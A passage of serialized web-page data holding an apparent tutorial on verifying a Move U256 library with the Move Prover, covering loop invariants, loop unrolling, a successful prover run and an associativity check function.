while",{"type":23,"tag":139,"props":9093,"children":9094},{"style":259},[9095],{"type":28,"value":6537},{"type":23,"tag":139,"props":9097,"children":9098},{"class":141,"line":151},[9099,9103],{"type":23,"tag":139,"props":9100,"children":9101},{"style":294},[9102],{"type":28,"value":6934},{"type":23,"tag":139,"props":9104,"children":9105},{"style":259},[9106],{"type":28,"value":1268},{"type":23,"tag":139,"props":9108,"children":9109},{"class":141,"line":160},[9110,9115,9119,9123,9127,9131,9135,9139],{"type":23,"tag":139,"props":9111,"children":9112},{"style":294},[9113],{"type":28,"value":9114},"          invariant",{"type":23,"tag":139,"props":9116,"children":9117},{"style":245},[9118],{"type":28,"value":6562},{"type":23,"tag":139,"props":9120,"children":9121},{"style":259},[9122],{"type":28,"value":262},{"type":23,"tag":139,"props":9124,"children":9125},{"style":294},[9126],{"type":28,"value":6571},{"type":23,"tag":139,"props":9128,"children":9129},{"style":259},[9130],{"type":28,"value":1062},{"type":23,"tag":139,"props":9132,"children":9133},{"style":982},[9134],{"type":28,"value":6580},{"type":23,"tag":139,"props":9136,"children":9137},{"style":294},[9138],{"type":28,"value":1378},{"type":23,"tag":139,"props":9140,"children":9141},{"style":259},[9142],{"type":28,"value":995},{"type":23,"tag":139,"props":9144,"children":9145},{"class":141,"line":169},[9146,9150,9154,9158,9162],{"type":23,"tag":139,"props":9147,"children":9148},{"style":294},[9149],{"type":28,"value":9114},{"type":23,"tag":139,"props":9151,"children":9152},{"style":294},[9153],{"type":28,"value":1378},{"type":23,"tag":139,"props":9155,"children":9156},{"style":982},[9157],{"type":28,"value":6201},{"type":23,"tag":139,"props":9159,"children":9160},{"style":294},[9161],{"type":28,"value":6491},{"type":23,"tag":139,"props":9163,"children":9164},{"style":259},[9165],{"type":28,"value":995},{"type":23,"tag":139,"props":9167,"children":9168},{"class":141,"line":178},[9169,9173,9177,9181,9185,9189,9193,9197,9201,9205,9209,9213,9217,9221,9225,9229,9233,9237,9241,9245],{"type":23,"tag":139,"props":9170,"children":9171},{"style":294},[9172],{"type":28,"value":9114},{"type":23,"tag":139,"props":9174,"children":9175},{"style":294},[9176],{"type":28,"value":6623},{"type":23,"tag":139,"props":9178,"children":9179},{"style":294},[9180],{"type":28,"value":6628},{"type":23,"tag":139,"props":9182,"children":9183},{"style":279},[9184],{"type":28,"value":1013},{"type":23,"tag":139,"props":9186,"children":9187},{"style":1016},[9188],{"type":28,"value":1019},{"type":23,"tag":139,"props":9190,"children":9191},{"style":982},[9192],{"type":28,"value":1024},{"type":23,"tag":139,"props":9194,"children":9195},{"style":294},[9196],{"type":28,"value":1728},{"type":23,"tag":139,"props":9198,"children":9199},{"style":982},[9200],{"type":28,"value":2493},{"type":23,"tag":139,"props":9202,"children":9203},{"style":294},[9204],{"type":28,"value":6426},{"type":23,"tag":139,"props":9206,"children":9207},{"style":259},[9208],{"type":28,"value":1723},{"type":23,"tag":139,"props":9210,"children":9211},{"style":294},[9212],{"type":28,"value":6661},{"type":23,"tag":139,"props":9214,"children":9215},{"style":259},[9216],{"type":28,"value":6666},{"type":23,"tag":139,"props":9218,"children":9219},{"style":982},[9220],{"type":28,"value":6580},{"type":23,"tag":139,"props":9222,"children":9223},{"style":294},[9224],{"type":28,"value":6675},{"type":23,"tag":139,"props":9226,"children":9227},{"style":259},[9228],{"type":28,"value":1723},{"type":23,"tag":139,"props":9230,"children":9231},{"style":294},[9232],{"type":28,"value":6661},{"type":23,"tag":139,"props":9234,"children":9235},{"style":259},[9236],{"type":28,"value":6666},{"type":23,"tag":139,"props":9238,"children":9239},{"style":982},[9240],{"type":28,"value":2573},{"type":23,"tag":139,"props":9242,"children":9243},{"style":294},[9244],{"type":28,"value":6491},{"type":23,"tag":139,"props":9246,"children":9247},{"style":259},[9248],{"type":28,"value":995},{"type":23,"tag":139,"props":9250,"children":9251},{"class":141,"line":187},[9252],{"type":23,"tag":139,"props":9253,"children":9254},{"style":259},[9255],{"type":28,"value":6926},{"type":23,"tag":139,"props":9257,"children":9258},{"class":141,"line":196},[9259,9264,9268,9272,9276],{"type":23,"tag":139,"props":9260,"children":9261},{"style":259},[9262],{"type":28,"value":9263},"      (",{"type":23,"tag":139,"props":9265,"children":9266},{"style":294},[9267],{"type":28,"value":1728},{"type":23,"tag":139,"props":9269,"children":9270},{"style":982},[9271],{"type":28,"value":6724},{"type":23,"tag":139,"props":9273,"children":9274},{"style":294},[9275],{"type":28,"value":6491},{"type":23,"tag":139,"props":9277,"children":9278},{"style":259},[9279],{"type":28,"value":273},{"type":23,"tag":139,"props":9281,"children":9282},{"class":141,"line":205},[9283],{"type":23,"tag":139,"props":9284,"children":9285},{"style":259},[9286],{"type":28,"value":9287},"  }) {\n",{"type":23,"tag":139,"props":9289,"children":9290},{"class":141,"line":214},[9291,9296,9300,9304],{"type":23,"tag":139,"props":9292,"children":9293},{"style":259},[9294],{"type":28,"value":9295},"      vector",{"type":23,"tag":139,"props":9297,"children":9298},{"style":982},[9299],{"type":28,"value":1461},{"type":23,"tag":139,"props":9301,"children":9302},{"style":245},[9303],{"type":28,"value":6757},{"type":23,"tag":139,"props":9305,"children":9306},{"style":259},[9307],{"type":28,"value":1443},{"type":23,"tag":139,"props":9309,"children":9310},{"class":141,"line":1320},[9311,9316,9320,9324],{"type":23,"tag":139,"props":9312,"children":9313},{"style":982},[9314],{"type":28,"value":9315},"          &",{"type":23,"tag":139,"props":9317,"children":9318},{"style":279},[9319],{"type":28,"value":1713},{"type":23,"tag":139,"props":9321,"children":9322},{"style":294},[9323],{"type":28,"value":6426},{"type":23,"tag":139,"props":9325,"children":9326},{"style":259},[9327],{"type":28,"value":1488},{"type":23,"tag":139,"props":9329,"children":9330},{"class":141,"line":1329},[9331,9335,9339,9343,9347,9351,9355,9359,9363,9367,9371,9375,9379,9383,9387,9391,9395,9399,9403,9407,9411,9415],{"type":23,"tag":139,"props":9332,"children":9333},{"style":259},[9334],{"type":28,"value":6715},{"type":23,"tag":139,"props":9336,"children":9337},{"style":982},[9338],{"type":28,"value":2573},{"type":23,"tag":139,"props":9340,"children":9341},{"style":259},[9342],{"type":28,"value":6798},{"type":23,"tag":139,"props":9344,"children":9345},{"style":982},[9346],{"type":28,"value":1461},{"type":23,"tag":139,"props":9348,"children":9349},{"style":245},[9350],{"type":28,"value":6807},{"type":23,"tag":139,"props":9352,"children":9353},{"style":259},[9354],{"type":28,"value":262},{"type":23,"tag":139,"props":9356,"children":9357},{"style":982},[9358],{"type":28,"value":1085},{"type":23,"tag":139,"props":9360,"children":9361},{"style":294},[9362],{"type":28,"value":6371},{"type":23,"tag":139,"props":9364,"children":9365},{"style":259},[9366],{"type":28,"value":6824},{"type":23,"tag":139,"props":9368,"children":9369},{"style":294},[9370],{"type":28,"value":1728},{"type":23,"tag":139,"props":9372,"children":9373},{"style":279},[9374],{"type":28,"value":6833},{"type":23,"tag":139,"props":9376,"children":9377},{"style":305},[9378],{"type":28,"value":3862},{"type":23,"tag":139,"props":9380,"children":9381},{"style":259},[9382],{"type":28,"value":6842},{"type":23,"tag":139,"props":9384,"children":9385},{"style":279},[9386],{"type":28,"value":6847},{"type":23,"tag":139,"props":9388,"children":9389},{"style":305},[9390],{"type":28,"value":6852},{"type":23,"tag":139,"props":9392,"children":9393},{"style":259},[9394],{"type":28,"value":1062},{"type":23,"tag":139,"props":9396,"children":9397},{"style":982},[9398],{"type":28,"value":2573},{"type":23,"tag":139,"props":9400,"children":9401},{"style":259},[9402],{"type":28,"value":1042},{"type":23,"tag":139,"props":9404,"children":9405},{"style":294},[9406],{"type":28,"value":6869},{"type":23,"tag":139,"props":9408,"children":9409},{"style":279},[9410],{"type":28,"value":6833},{"type":23,"tag":139,"props":9412,"children":9413},{"style":305},[9414],{"type":28,"value":6852},{"type":23,"tag":139,"props":9416,"children":9417},{"style":259},[9418],{"type":28,"value":273},{"type":23,"tag":139,"props":9420,"children":9421},{"class":141,"line":1580},[9422],{"type":23,"tag":139,"props":9423,"children":9424},{"style":259},[9425],{"type":28,"value":4769},{"type":23,"tag":139,"props":9427,"children":9428},{"class":141,"line":1597},[9429,9434,9438,9442,9446,9450],{"type":23,"tag":139,"props":9430,"children":9431},{"style":294},[9432],{"type":28,"value":9433},"      i",{"type":23,"tag":139,"props":9435,"children":9436},{"style":982},[9437],{"type":28,"value":985},{"type":23,"tag":139,"props":9439,"children":9440},{"style":294},[9441],{"type":28,"value":1378},{"type":23,"tag":139,"props":9443,"children":9444},{"style":982},[9445],{"type":28,"value":6910},{"type":23,"tag":139,"props":9447,"children":9448},{"style":1016},[9449],{"type":28,"value":2525},{"type":23,"tag":139,"props":9451,"children":9452},{"style":259},[9453],{"type":28,"value":995},{"type":23,"tag":139,"props":9455,"children":9456},{"class":141,"line":1614},[9457],{"type":23,"tag":139,"props":9458,"children":9459},{"style":259},[9460],{"type":28,"value":9461},"  };\n",{"type":23,"tag":24,"props":9463,"children":9464},{},[9465,9467,9473,9475,9480,9482,9488],{"type":28,"value":9466},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":135,"props":9468,"children":9470},{"className":9469},[],[9471],{"type":28,"value":9472},"while",{"type":28,"value":9474}," loop. Note that because the loop invariant executes ",{"type":23,"tag":659,"props":9476,"children":9477},{},[9478],{"type":28,"value":9479},"after",{"type":28,"value":9481}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":135,"props":9483,"children":9485},{"className":9484},[],[9486],{"type":28,"value":9487},"i \u003C= n_coins",{"type":28,"value":73},{"type":23,"tag":128,"props":9490,"children":9492},{"code":9491,"language":947,"meta":7,"className":948,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[9493],{"type":23,"tag":135,"props":9494,"children":9495},{"__ignoreMap":7},[9496,9507,9518,9553,9576,9659,9666,9689],{"type":23,"tag":139,"props":9497,"children":9498},{"class":141,"line":142},[9499,9503],{"type":23,"tag":139,"props":9500,"children":9501},{"style":319},[9502],{"type":28,"value":9091},{"type":23,"tag":139,"props":9504,"children":9505},{"style":259},[9506],{"type":28,"value":6537},{"type":23,"tag":139,"props":9508,"children":9509},{"class":141,"line":151},[9510,9514],{"type":23,"tag":139,"props":9511,"children":9512},{"style":294},[9513],{"type":28,"value":6934},{"type":23,"tag":139,"props":9515,"children":9516},{"style":259},[9517],{"type":28,"value":1268},{"type":23,"tag":139,"props":9519,"children":9520},{"class":141,"line":160},[9521,9525,9529,9533,9537,9541,9545,9549],{"type":23,"tag":139,"props":9522,"children":9523},{"style":294},[9524],{"type":28,"value":9114},{"type":23,"tag":139,"props":9526,"children":9527},{"style":245},[9528],{"type":28,"value":6562},{"type":23,"tag":139,"props":9530,"children":9531},{"style":259},[9532],{"type":28,"value":262},{"type":23,"tag":139,"props":9534,"children":9535},{"style":294},[9536],{"type":28,"value":6571},{"type":23,"tag":139,"props":9538,"children":9539},{"style":259},[9540],{"type":28,"value":1062},{"type":23,"tag":139,"props":9542,"children":9543},{"style":982},[9544],{"type":28,"value":6580},{"type":23,"tag":139,"props":9546,"children":9547},{"style":294},[9548],{"type":28,"value":1378},{"type":23,"tag":139,"props":9550,"children":9551},{"style":259},[9552],{"type":28,"value":995},{"type":23,"tag":139,"props":9554,"children":9555},{"class":141,"line":169},[9556,9560,9564,9568,9572],{"type":23,"tag":139,"props":9557,"children":9558},{"style":294},[9559],{"type":28,"value":9114},{"type":23,"tag":139,"props":9561,"children":9562},{"style":294},[9563],{"type":28,"value":1378},{"type":23,"tag":139,"props":9565,"children":9566},{"style":982},[9567],{"type":28,"value":6201},{"type":23,"tag":139,"props":9569,"children":9570},{"style":294},[9571],{"type":28,"value":6491},{"type":23,"tag":139,"props":9573,"children":9574},{"style":259},[9575],{"type":28,"value":995},{"type":23,"tag":139,"props":9577,"children":9578},{"class":141,"line":178},[9579,9583,9587,9591,9595,9599,9603,9607,9611,9615,9619,9623,9627,9631,9635,9639,9643,9647,9651,9655],{"type":23,"tag":139,"props":9580,"children":9581},{"style":294},[9582],{"type":28,"value":9114},{"type":23,"tag":139,"props":9584,"children":9585},{"style":294},[9586],{"type":28,"value":6623},{"type":23,"tag":139,"props":9588,"children":9589},{"style":294},[9590],{"type":28,"value":6628},{"type":23,"tag":139,"props":9592,"children":9593},{"style":279},[9594],{"type":28,"value":1013},{"type":23,"tag":139,"props":9596,"children":9597},{"style":1016},[9598],{"type":28,"value":1019},{"type":23,"tag":139,"props":9600,"children":9601},{"style":982},[9602],{"type":28,"value":1024},{"type":23,"tag":139,"props":9604,"children":9605},{"style":294},[9606],{"type":28,"value":1728},{"type":23,"tag":139,"props":9608,"children":9609},{"style":982},[9610],{"type":28,"value":2493},{"type":23,"tag":139,"props":9612,"children":9613},{"style":294},[9614],{"type":28,"value":6426},{"type":23,"tag":139,"props":9616,"children":9617},{"style":259},[9618],{"type":28,"value":1723},{"type":23,"tag":139,"props":9620,"children":9621},{"style":294},[9622],{"type":28,"value":6661},{"type":23,"tag":139,"props":9624,"children":9625},{"style":259},[9626],{"type":28,"value":6666},{"type":23,"tag":139,"props":9628,"children":9629},{"style":982},[9630],{"type":28,"value":6580},{"type":23,"tag":139,"props":9632,"children":9633},{"style":294},[9634],{"type":28,"value":6675},{"type":23,"tag":139,"props":9636,"children":9637},{"style":259},[9638],{"type":28,"value":1723},{"type":23,"tag":139,"props":9640,"children":9641},{"style":294},[9642],{"type":28,"value":6661},{"type":23,"tag":139,"props":9644,"children":9645},{"style":259},[9646],{"type":28,"value":6666},{"type":23,"tag":139,"props":9648,"children":9649},{"style":982},[9650],{"type":28,"value":2573},{"type":23,"tag":139,"props":9652,"children":9653},{"style":294},[9654],{"type":28,"value":6491},{"type":23,"tag":139,"props":9656,"children":9657},{"style":259},[9658],{"type":28,"value":995},{"type":23,"tag":139,"props":9660,"children":9661},{"class":141,"line":187},[9662],{"type":23,"tag":139,"props":9663,"children":9664},{"style":259},[9665],{"type":28,"value":6926},{"type":23,"tag":139,"props":9667,"children":9668},{"class":141,"line":196},[9669,9673,9677,9681,9685],{"type":23,"tag":139,"props":9670,"children":9671},{"style":259},[9672],{"type":28,"value":9263},{"type":23,"tag":139,"props":9674,"children":9675},{"style":294},[9676],{"type":28,"value":1728},{"type":23,"tag":139,"props":9678,"children":9679},{"style":982},[9680],{"type":28,"value":6724},{"type":23,"tag":139,"props":9682,"children":9683},{"style":294},[9684],{"type":28,"value":6491},{"type":23,"tag":139,"props":9686,"children":9687},{"style":259},[9688],{"type":28,"value":273},{"type":23,"tag":139,"props":9690,"children":9691},{"class":141,"line":205},[9692],{"type":23,"tag":139,"props":9693,"children":9694},{"style":259},[9695],{"type":28,"value":9287},{"type":23,"tag":24,"props":9697,"children":9698},{},[9699],{"type":28,"value":9700},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":24,"props":9702,"children":9703},{},[9704,9706,9711],{"type":28,"value":9705},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":135,"props":9707,"children":9709},{"className":9708},[],[9710],{"type":28,"value":7646},{"type":28,"value":9712}," function will always iterate exactly 4 times:",{"type":23,"tag":128,"props":9714,"children":9716},{"code":9715,"language":947,"meta":7,"className":948,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[9717],{"type":23,"tag":135,"props":9718,"children":9719},{"__ignoreMap":7},[9720,9728,9761,9768,9784,9791,9815,9839,9884,9928,9935],{"type":23,"tag":139,"props":9721,"children":9722},{"class":141,"line":142},[9723],{"type":23,"tag":139,"props":9724,"children":9725},{"style":958},[9726],{"type":28,"value":9727},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":139,"props":9729,"children":9730},{"class":141,"line":151},[9731,9735,9740,9744,9748,9752,9757],{"type":23,"tag":139,"props":9732,"children":9733},{"style":279},[9734],{"type":28,"value":7663},{"type":23,"tag":139,"props":9736,"children":9737},{"style":259},[9738],{"type":28,"value":9739}," WORDS",{"type":23,"tag":139,"props":9741,"children":9742},{"style":982},[9743],{"type":28,"value":2493},{"type":23,"tag":139,"props":9745,"children":9746},{"style":305},[9747],{"type":28,"value":3862},{"type":23,"tag":139,"props":9749,"children":9750},{"style":982},[9751],{"type":28,"value":985},{"type":23,"tag":139,"props":9753,"children":9754},{"style":1016},[9755],{"type":28,"value":9756}," 4",{"type":23,"tag":139,"props":9758,"children":9759},{"style":259},[9760],{"type":28,"value":995},{"type":23,"tag":139,"props":9762,"children":9763},{"class":141,"line":160},[9764],{"type":23,"tag":139,"props":9765,"children":9766},{"emptyLinePlaceholder":15},[9767],{"type":28,"value":184},{"type":23,"tag":139,"props":9769,"children":9770},{"class":141,"line":169},[9771,9775,9779],{"type":23,"tag":139,"props":9772,"children":9773},{"style":259},[9774],{"type":28,"value":1723},{"type":23,"tag":139,"props":9776,"children":9777},{"style":982},[9778],{"type":28,"value":7599},{"type":23,"tag":139,"props":9780,"children":9781},{"style":259},[9782],{"type":28,"value":9783},"]\n",{"type":23,"tag":139,"props":9785,"children":9786},{"class":141,"line":178},[9787],{"type":23,"tag":139,"props":9788,"children":9789},{"emptyLinePlaceholder":15},[9790],{"type":28,"value":184},{"type":23,"tag":139,"props":9792,"children":9793},{"class":141,"line":187},[9794,9799,9803,9807,9811],{"type":23,"tag":139,"props":9795,"children":9796},{"style":279},[9797],{"type":28,"value":9798},"let",{"type":23,"tag":139,"props":9800,"children":9801},{"style":294},[9802],{"type":28,"value":1378},{"type":23,"tag":139,"props":9804,"children":9805},{"style":982},[9806],{"type":28,"value":985},{"type":23,"tag":139,"props":9808,"children":9809},{"style":1016},[9810],{"type":28,"value":1019},{"type":23,"tag":139,"props":9812,"children":9813},{"style":259},[9814],{"type":28,"value":995},{"type":23,"tag":139,"props":9816,"children":9817},{"class":141,"line":196},[9818,9822,9826,9830,9834],{"type":23,"tag":139,"props":9819,"children":9820},{"style":319},[9821],{"type":28,"value":9472},{"type":23,"tag":139,"props":9823,"children":9824},{"style":259},[9825],{"type":28,"value":1042},{"type":23,"tag":139,"props":9827,"children":9828},{"style":294},[9829],{"type":28,"value":1728},{"type":23,"tag":139,"props":9831,"children":9832},{"style":982},[9833],{"type":28,"value":6724},{"type":23,"tag":139,"props":9835,"children":9836},{"style":259},[9837],{"type":28,"value":9838}," WORDS) {\n",{"type":23,"tag":139,"props":9840,"children":9841},{"class":141,"line":205},[9842,9846,9851,9855,9860,9864,9868,9872,9876,9880],{"type":23,"tag":139,"props":9843,"children":9844},{"style":279},[9845],{"type":28,"value":969},{"type":23,"tag":139,"props":9847,"children":9848},{"style":294},[9849],{"type":28,"value":9850}," a1",{"type":23,"tag":139,"props":9852,"children":9853},{"style":982},[9854],{"type":28,"value":985},{"type":23,"tag":139,"props":9856,"children":9857},{"style":245},[9858],{"type":28,"value":9859}," get",{"type":23,"tag":139,"props":9861,"children":9862},{"style":259},[9863],{"type":28,"value":262},{"type":23,"tag":139,"props":9865,"children":9866},{"style":982},[9867],{"type":28,"value":1085},{"type":23,"tag":139,"props":9869,"children":9870},{"style":294},[9871],{"type":28,"value":64},{"type":23,"tag":139,"props":9873,"children":9874},{"style":259},[9875],{"type":28,"value":1052},{"type":23,"tag":139,"props":9877,"children":9878},{"style":294},[9879],{"type":28,"value":1728},{"type":23,"tag":139,"props":9881,"children":9882},{"style":259},[9883],{"type":28,"value":1820},{"type":23,"tag":139,"props":9885,"children":9886},{"class":141,"line":214},[9887,9891,9896,9900,9904,9908,9912,9916,9920,9924],{"type":23,"tag":139,"props":9888,"children":9889},{"style":279},[9890],{"type":28,"value":969},{"type":23,"tag":139,"props":9892,"children":9893},{"style":294},[9894],{"type":28,"value":9895}," b1",{"type":23,"tag":139,"props":9897,"children":9898},{"style":982},[9899],{"type":28,"value":985},{"type":23,"tag":139,"props":9901,"children":9902},{"style":245},[9903],{"type":28,"value":9859},{"type":23,"tag":139,"props":9905,"children":9906},{"style":259},[9907],{"type":28,"value":262},{"type":23,"tag":139,"props":9909,"children":9910},{"style":982},[9911],{"type":28,"value":1085},{"type":23,"tag":139,"props":9913,"children":9914},{"style":294},[9915],{"type":28,"value":1199},{"type":23,"tag":139,"props":9917,"children":9918},{"style":259},[9919],{"type":28,"value":1052},{"type":23,"tag":139,"props":9921,"children":9922},{"style":294},[9923],{"type":28,"value":1728},{"type":23,"tag":139,"props":9925,"children":9926},{"style":259},[9927],{"type":28,"value":1820},{"type":23,"tag":139,"props":9929,"children":9930},{"class":141,"line":1320},[9931],{"type":23,"tag":139,"props":9932,"children":9933},{"emptyLinePlaceholder":15},[9934],{"type":28,"value":184},{"type":23,"tag":139,"props":9936,"children":9937},{"class":141,"line":1329},[9938,9942,9946],{"type":23,"tag":139,"props":9939,"children":9940},{"style":259},[9941],{"type":28,"value":1723},{"type":23,"tag":139,"props":9943,"children":9944},{"style":982},[9945],{"type":28,"value":7599},{"type":23,"tag":139,"props":9947,"children":9948},{"style":259},[9949],{"type":28,"value":9783},{"type":23,"tag":24,"props":9951,"children":9952},{},[9953],{"type":28,"value":9954},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":128,"props":9956,"children":9958},{"code":9957},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[9959],{"type":23,"tag":135,"props":9960,"children":9961},{"__ignoreMap":7},[9962],{"type":28,"value":9957},{"type":23,"tag":24,"props":9964,"children":9965},{},[9966,9968,9973,9974,9980],{"type":28,"value":9967},"For the ",{"type":23,"tag":56,"props":9969,"children":9970},{},[9971],{"type":28,"value":9972},"Associative Property",{"type":28,"value":1042},{"type":23,"tag":135,"props":9975,"children":9977},{"className":9976},[],[9978],{"type":28,"value":9979},"a+(b+c) = (a+b)+c",{"type":28,"value":9981},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":128,"props":9983,"children":9985},{"code":9984,"language":947,"meta":7,"className":948,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[9986],{"type":23,"tag":135,"props":9987,"children":9988},{"__ignoreMap":7},[9989,10066,10105,10146,10185,10226,10233,10283,10323],{"type":23,"tag":139,"props":9990,"children":9991},{"class":141,"line":142},[9992,9996,10001,10005,10009,10013,10017,10021,10025,10029,10033,10037,10041,10045,10049,10053,10057,10062],{"type":23,"tag":139,"props":9993,"children":9994},{"style":294},[9995],{"type":28,"value":5110},{"type":23,"tag":139,"props":9997,"children":9998},{"style":245},[9999],{"type":28,"value":10000}," add_assoc_property",{"type":23,"tag":139,"props":10002,"children":10003},{"style":259},[10004],{"type":28,"value":262},{"type":23,"tag":139,"props":10006,"children":10007},{"style":294},[10008],{"type":28,"value":64},{"type":23,"tag":139,"props":10010,"children":10011},{"style":982},[10012],{"type":28,"value":2493},{"type":23,"tag":139,"props":10014,"children":10015},{"style":305},[10016],{"type":28,"value":2733},{"type":23,"tag":139,"props":10018,"children":10019},{"style":259},[10020],{"type":28,"value":1052},{"type":23,"tag":139,"props":10022,"children":10023},{"style":294},[10024],{"type":28,"value":1199},{"type":23,"tag":139,"props":10026,"children":10027},{"style":982},[10028],{"type":28,"value":2493},{"type":23,"tag":139,"props":10030,"children":10031},{"style":305},[10032],{"type":28,"value":2733},{"type":23,"tag":139,"props":10034,"children":10035},{"style":259},[10036],{"type":28,"value":1052},{"type":23,"tag":139,"props":10038,"children":10039},{"style":294},[10040],{"type":28,"value":1123},{"type":23,"tag":139,"props":10042,"children":10043},{"style":982},[10044],{"type":28,"value":2493},{"type":23,"tag":139,"props":10046,"children":10047},{"style":305},[10048],{"type":28,"value":2733},{"type":23,"tag":139,"props":10050,"children":10051},{"style":259},[10052],{"type":28,"value":1104},{"type":23,"tag":139,"props":10054,"children":10055},{"style":982},[10056],{"type":28,"value":2493},{"type":23,"tag":139,"props":10058,"children":10059},{"style":305},[10060],{"type":28,"value":10061}," bool",{"type":23,"tag":139,"props":10063,"children":10064},{"style":259},[10065],{"type":28,"value":1268},{"type":23,"tag":139,"props":10067,"children":10068},{"class":141,"line":151},[10069,10073,10077,10081,10085,10089,10093,10097,10101],{"type":23,"tag":139,"props":10070,"children":10071},{"style":279},[10072],{"type":28,"value":969},{"type":23,"tag":139,"props":10074,"children":10075},{"style":294},[10076],{"type":28,"value":6196},{"type":23,"tag":139,"props":10078,"children":10079},{"style":982},[10080],{"type":28,"value":985},{"type":23,"tag":139,"props":10082,"children":10083},{"style":245},[10084],{"type":28,"value":7589},{"type":23,"tag":139,"props":10086,"children":10087},{"style":259},[10088],{"type":28,"value":262},{"type":23,"tag":139,"props":10090,"children":10091},{"style":294},[10092],{"type":28,"value":1199},{"type":23,"tag":139,"props":10094,"children":10095},{"style":259},[10096],{"type":28,"value":1052},{"type":23,"tag":139,"props":10098,"children":10099},{"style":294},[10100],{"type":28,"value":1123},{"type":23,"tag":139,"props":10102,"children":10103},{"style":259},[10104],{"type":28,"value":1820},{"type":23,"tag":139,"props":10106,"children":10107},{"class":141,"line":160},[10108,10112,10117,10121,10125,10129,10133,10137,10142],{"type":23,"tag":139,"props":10109,"children":10110},{"style":279},[10111],{"type":28,"value":969},{"type":23,"tag":139,"props":10113,"children":10114},{"style":294},[10115],{"type":28,"value":10116}," result_11",{"type":23,"tag":139,"props":10118,"children":10119},{"style":982},[10120],{"type":28,"value":985},{"type":23,"tag":139,"props":10122,"children":10123},{"style":245},[10124],{"type":28,"value":7589},{"type":23,"tag":139,"props":10126,"children":10127},{"style":259},[10128],{"type":28,"value":262},{"type":23,"tag":139,"props":10130,"children":10131},{"style":294},[10132],{"type":28,"value":64},{"type":23,"tag":139,"props":10134,"children":10135},{"style":259},[10136],{"type":28,"value":1052},{"type":23,"tag":139,"props":10138,"children":10139},{"style":294},[10140],{"type":28,"value":10141},"result_1",{"type":23,"tag":139,"props":10143,"children":10144},{"style":259},[10145],{"type":28,"value":1820},{"type":23,"tag":139,"props":10147,"children":10148},{"class":141,"line":169},[10149,10153,10157,10161,10165,10169,10173,10177,10181],{"type":23,"tag":139,"props":10150,"children":10151},{"style":279},[10152],{"type":28,"value":969},{"type":23,"tag":139,"props":10154,"children":10155},{"style":294},[10156],{"type":28,"value":6222},{"type":23,"tag":139,"props":10158,"children":10159},{"style":982},[10160],{"type":28,"value":985},{"type":23,"tag":139,"props":10162,"children":10163},{"style":245},[10164],{"type":28,"value":7589},{"type":23,"tag":139,"props":10166,"children":10167},{"style":259},[10168],{"type":28,"value":262},{"type":23,"tag":139,"props":10170,"children":10171},{"style":294},[10172],{"type":28,"value":64},{"type":23,"tag":139,"props":10174,"children":10175},{"style":259},[10176],{"type":28,"value":1052},{"type":23,"tag":139,"props":10178,"children":10179},{"style":294},[10180],{"type":28,"value":1199},{"type":23,"tag":139,"props":10182,"children":10183},{"style":259},[10184],{"type":28,"value":1820},{"type":23,"tag":139,"props":10186,"children":10187},{"class":141,"line":178},[10188,10192,10197,10201,10205,10209,10213,10217,10222],{"type":23,"tag":139,"props":10189,"children":10190},{"style":279},[10191],{"type":28,"value":969},{"type":23,"tag":139,"props":10193,"children":10194},{"style":294},[10195],{"type":28,"value":10196}," result_22",{"type":23,"tag":139,"props":10198,"children":10199},{"style":982},[10200],{"type":28,"value":985},{"type":23,"tag":139,"props":10202,"children":10203},{"style":245},[10204],{"type":28,"value":7589},{"type":23,"tag":139,"props":10206,"children":10207},{"style":259},[10208],{"type":28,"value":262},{"type":23,"tag":139,"props":10210,"children":10211},{"style":294},[10212],{"type":28,"value":1123},{"type":23,"tag":139,"props":10214,"children":10215},{"style":259},[10216],{"type":28,"value":1052},{"type":23,"tag":139,"props":10218,"children":10219},{"style":294},[10220],{"type":28,"value":10221},"result_2",{"type":23,"tag":139,"props":10223,"children":10224},{"style":259},[10225],{"type":28,"value":1820},{"type":23,"tag":139,"props":10227,"children":10228},{"class":141,"line":187},[10229],{"type":23,"tag":139,"props":10230,"children":10231},{"emptyLinePlaceholder":15},[10232],{"type":28,"value":184},{"type":23,"tag":139,"props":10234,"children":10235},{"class":141,"line":196},[10236,10240,10244,10248,10253,10257,10261,10266,10270,10274,10279],{"type":23,"tag":139,"props":10237,"children":10238},{"style":279},[10239],{"type":28,"value":969},{"type":23,"tag":139,"props":10241,"children":10242},{"style":294},[10243],{"type":28,"value":5864},{"type":23,"tag":139,"props":10245,"children":10246},{"style":982},[10247],{"type":28,"value":985},{"type":23,"tag":139,"props":10249,"children":10250},{"style":245},[10251],{"type":28,"value":10252}," 